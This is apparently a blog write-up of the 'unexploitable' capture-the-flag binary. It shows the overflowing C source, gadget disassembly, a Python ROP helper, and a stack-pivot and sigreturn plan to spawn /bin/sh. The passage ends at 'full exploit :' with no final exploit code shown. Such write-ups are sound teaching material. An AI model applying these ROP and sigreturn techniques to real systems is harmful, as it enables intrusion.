unexploitable hackerdom

A friend of mine sent me a challenge called unexploitable download from here (elf64) here it has the following source code :

#include <stdio.h>
void main() {  
    // no brute forcing
    // exploit me
    int buf[4];
    read(0, buf, 1295);

compiled with

CANARY    : disabled  
FORTIFY   : disabled  
NX        : ENABLED  
PIE       : disabled  
RELRO     : Partial  

also full aslr is enabled. The binary is small therefore not many gadgets exist to do awesome things. Let us use what we have, an important gadget exists in __libc_csu_init, this can allow us to control the first three params (rdi,rsi,rdx).

│       └─> 0x004005e6      mov rbx, qword [rsp + 8]
│           0x004005eb      mov rbp, qword [rsp + 0x10]
│           0x004005f0      mov r12, qword [rsp + 0x18]
│           0x004005f5      mov r13, qword [rsp + 0x20]
│           0x004005fa      mov r14, qword [rsp + 0x28]
│           0x004005ff      mov r15, qword [rsp + 0x30]
│           0x00400604      add rsp, 0x38
╘           0x00400608      ret

and above it is the call portion

│      ┌──> 0x004005d0      mov rdx, r15
│      ││   0x004005d3      mov rsi, r14
│      ││   0x004005d6      mov edi, r13d
│      ││   0x004005d9      call qword [r12 + rbx*8]

equivalent to (r12+rbx*8)(r13d,r14,r15), if we point r12 to 0x601000 we can call read with three params, this allows us to control rax, and to write anywhere writeable. Something like :

def csu_read(fd, buf_ptr, count):  
    r  = p64(0x4005E6) # libc_csu_init
    r += p64(0x00)
    r += p64(0x00)     # rbx
    r += p64(0x01)     # rbp
    r += p64(read_plt) # r12 -> read@plt
    r += p64(fd)       # r13 -> stdin
    r += p64(buf_ptr)  # r14 -> read in data
    r += p64(count)    # r15 -> rdx size for read
    r += p64(do_call)
    r += p64(PADD)*7   # padding
    return r

another important gadget is

0x00400560: syscall  ;  (1 found)  

So now we have all the parts needed to exploit this successfully, our approach is as follows :

  • do csu_read to write our rop into known memory at 0x601010
  • pop rbp; ret to set rbp to our new rop location 0x601010-8
  • stack pivot

in our new rop we do the following

  • read SYS_sigreturn number of bytes into whatever writeable memory
  • do syscall/sigreturn
  • setup sigreturn frame that is used by sigreturn
  • sigreturn frame does an execve to /bin/sh

we also set the /bin/sh string and a pointer to it and to the envp somewhere inside the known rop location that we're using.

full exploit :